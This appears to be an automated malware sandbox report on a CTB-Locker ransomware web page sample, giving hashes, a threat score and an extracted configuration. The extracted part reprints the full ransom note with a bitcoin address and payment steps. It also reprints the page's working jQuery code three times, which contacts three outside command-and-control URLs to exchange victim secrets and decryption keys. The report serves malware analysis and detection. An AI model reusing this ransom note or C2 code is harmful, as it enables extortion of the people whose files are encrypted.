Static task
static1
Behavioral task
behavioral1
Sample
30060c125dbea17fe06f51621910ad54_JaffaCakes118.html
Resource
win7-20240508-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
30060c125dbea17fe06f51621910ad54_JaffaCakes118.html
Resource
win10v2004-20240508-en
6 signatures
150 seconds
General
-
Target
30060c125dbea17fe06f51621910ad54_JaffaCakes118
-
Size
11KB
-
MD5
30060c125dbea17fe06f51621910ad54
-
SHA1
7e0fad6f7465d427b406c32244c7ab4b8cc333b1
-
SHA256
0ceb1c253d0ebd8f9976a0413ffae7b111d2116d7049f0c9cf05d50c37dd0ec5
-
SHA512
b2f1cc2701231364deea8784e089f3fe0f62015741c4479d4955077239273c1926976dcb873df96de66d7a174908d4d64ff9b927f433e5b0614e87a6bee048a6
-
SSDEEP
192:EhyRntP202zBrQN/rr7QgbKoyiJk7+XO3dnQKdmLekRmr3z:dpd206yNzdAiJ4+XO3VQAeRQ
Score
10/10
Malware Config
Extracted
Ransom Note
Index
Free decrypt
Chat
Attention! What happened?
Your personal files are encrypted by CTB-Locker .
Your scripts, documents, photos, databases and other important files have been encrypted with strongest encryption algorithm AES-256 and unique key, generated for this site.
Decryption key is stored on a secret Internet server and nobody can decrypt your files until you pay and obtain the decryption key.
Learn more about the algorithm can be here: Wikipedia
Fbi's advice on cryptolocker just pay the ransom
What to do?
We created for you this bitcoin address
What is a Bitcoin address?
For decrypt your files you need to make a few simple steps:
1. Get cryptocurrency Bitcoin
We recommend:
1) https://localbitcoins.com/ - (Paypal, Visa/MasterCard, QIWI Wallet, Any Bank and etc.)
2) Buying Bitcoins (the newbie version)
3) A complete list of exchanges!
4) https://btc-e.com/ (OkPay, Perfect Money, Visa/MasterCard and etc.)
5) https://www.okcoin.com/
2. Send (~150$) to the address
3. After payment, confirmation is expected within from 15 minutes to 3 hours.
You can track confirmations of your transaction in https://blockchain.info/address/13DtNcWQESxkAADsotDvuf3yCUC1P2FDcm
4. Click button:
DECRYPT You must carry out this actions before: 2016-02-22 13:00:00
At the expiry of the time redemption amount will be . Please make payment in a timely.
Dangerous!
Do not try to cheat the system, edit encrypted files, edit CTB-locker internal files or delete any file. This will result in the inability to recover your data, and we can not help you. Only way to keep your files is to follow the instruction.
admins = ["http://farini.org/access.php", "http://lawyerpublicity.com/access.php", "http://orangecountyplasterandstucco.com/access.php"];
iadmin = 0;
domain = encodeURIComponent(window.location.href.replace('http://', '').replace('https://', '').split('/')[0]);
function post_admin(postdata, onsuccess) {
$.post(admins[iadmin], postdata+"&domain="+domain, function (data) {
if (data["status"] == "success") {
onsuccess(data);
} else {
alert(data["status"]);
}
}, 'json'
).fail(function() {
alert(iadmin >= 2 ? 'It seems like our server is down=( Try to push it again' : 'Push it again');
iadmin = (iadmin + 1) % 3;
});
}
$('#decrypt').click(function() {
post_admin("decrypt=", function(data) {
alert('Your decryption key is ' + data["decrypt"] + '! Wait while page will be updated!');
url = window.location.href + (window.location.href.indexOf('?') !== -1 ? '&' : '?');
window.location.href = url + 'decrypt=' + data["decrypt"] + '&secret=' + data["secret"] + '&dectest=' + data["dectest"];
});
});
$('#dectest').click(function() {
post_admin("dectest=&secret="+($("#secret").val()), function(data) {
alert('Your test decryption key is ' + data["dectest"] + '! Wait while page will be updated!');
url = window.location.href + (window.location.href.indexOf('?') !== -1 ? '&' : '?');
window.location.href = url + 'dectest=' + data["dectest"] + '&secret=' + data["secret"];
});
});
$('#sendmsg').click(function() {
msg = "&msg=" + encodeURIComponent($("#chatmsg").val());
post_admin("sendmsg=&secret="+$("#secret").val()+msg, function(data) {
alert('Thank you for feedback!');
});
});
$('#recvmsg').click(function() {
post_admin("recvmsg=&secret="+$("#secret").val(), function(data) {
$("#chatmsg").val(data["answer"]);
});
});
admins = ["http://farini.org/access.php", "http://lawyerpublicity.com/access.php", "http://orangecountyplasterandstucco.com/access.php"];
iadmin = 0;
domain = encodeURIComponent(window.location.href.replace('http://', '').replace('https://', '').split('/')[0]);
function post_admin(postdata, onsuccess) {
$.post(admins[iadmin], postdata+"&domain="+domain, function (data) {
if (data["status"] == "success") {
onsuccess(data);
} else {
alert(data["status"]);
}
}, 'json'
).fail(function() {
alert(iadmin >= 2 ? 'It seems like our server is down=( Try to push it again' : 'Push it again');
iadmin = (iadmin + 1) % 3;
});
}
$('#decrypt').click(function() {
post_admin("decrypt=", function(data) {
alert('Your decryption key is ' + data["decrypt"] + '! Wait while page will be updated!');
url = window.location.href + (window.location.href.indexOf('?') !== -1 ? '&' : '?');
window.location.href = url + 'decrypt=' + data["decrypt"] + '&secret=' + data["secret"] + '&dectest=' + data["dectest"];
});
});
$('#dectest').click(function() {
post_admin("dectest=&secret="+($("#secret").val()), function(data) {
alert('Your test decryption key is ' + data["dectest"] + '! Wait while page will be updated!');
url = window.location.href + (window.location.href.indexOf('?') !== -1 ? '&' : '?');
window.location.href = url + 'dectest=' + data["dectest"] + '&secret=' + data["secret"];
});
});
$('#sendmsg').click(function() {
msg = "&msg=" + encodeURIComponent($("#chatmsg").val());
post_admin("sendmsg=&secret="+$("#secret").val()+msg, function(data) {
alert('Thank you for feedback!');
});
});
$('#recvmsg').click(function() {
post_admin("recvmsg=&secret="+$("#secret").val(), function(data) {
$("#chatmsg").val(data["answer"]);
});
});
admins = ["http://farini.org/access.php", "http://lawyerpublicity.com/access.php", "http://orangecountyplasterandstucco.com/access.php"];
iadmin = 0;
domain = encodeURIComponent(window.location.href.replace('http://', '').replace('https://', '').split('/')[0]);
function post_admin(postdata, onsuccess) {
$.post(admins[iadmin], postdata+"&domain="+domain, function (data) {
if (data["status"] == "success") {
onsuccess(data);
} else {
alert(data["status"]);
}
}, 'json'
).fail(function() {
alert(iadmin >= 2 ? 'It seems like our server is down=( Try to push it again' : 'Push it again');
iadmin = (iadmin + 1) % 3;
});
}
$('#decrypt').click(function() {
post_admin("decrypt=", function(data) {
alert('Your decryption key is ' + data["decrypt"] + '! Wait while page will be updated!');
url = window.location.href + (window.location.href.indexOf('?') !== -1 ? '&' : '?');
window.location.href = url + 'decrypt=' + data["decrypt"] + '&secret=' + data["secret"] + '&dectest=' + data["dectest"];
});
});
$('#dectest').click(function() {
post_admin("dectest=&secret="+($("#secret").val()), function(data) {
alert('Your test decryption key is ' + data["dectest"] + '! Wait while page will be updated!');
url = window.location.href + (window.location.href.indexOf('?') !== -1 ? '&' : '?');
window.location.href = url + 'dectest=' + data["dectest"] + '&secret=' + data["secret"];
});
});
$('#sendmsg').click(function() {
msg = "&msg=" + encodeURIComponent($("#chatmsg").val());
post_admin("sendmsg=&secret="+$("#secret").val()+msg, function(data) {
alert('Thank you for feedback!');
});
});
$('#recvmsg').click(function() {
post_admin("recvmsg=&secret="+$("#secret").val(), function(data) {
$("#chatmsg").val(data["answer"]);
});
});
URLs
https://btc-e.com/
https://www.okcoin.com/
Signatures
Files
-
30060c125dbea17fe06f51621910ad54_JaffaCakes118.html .js polyglot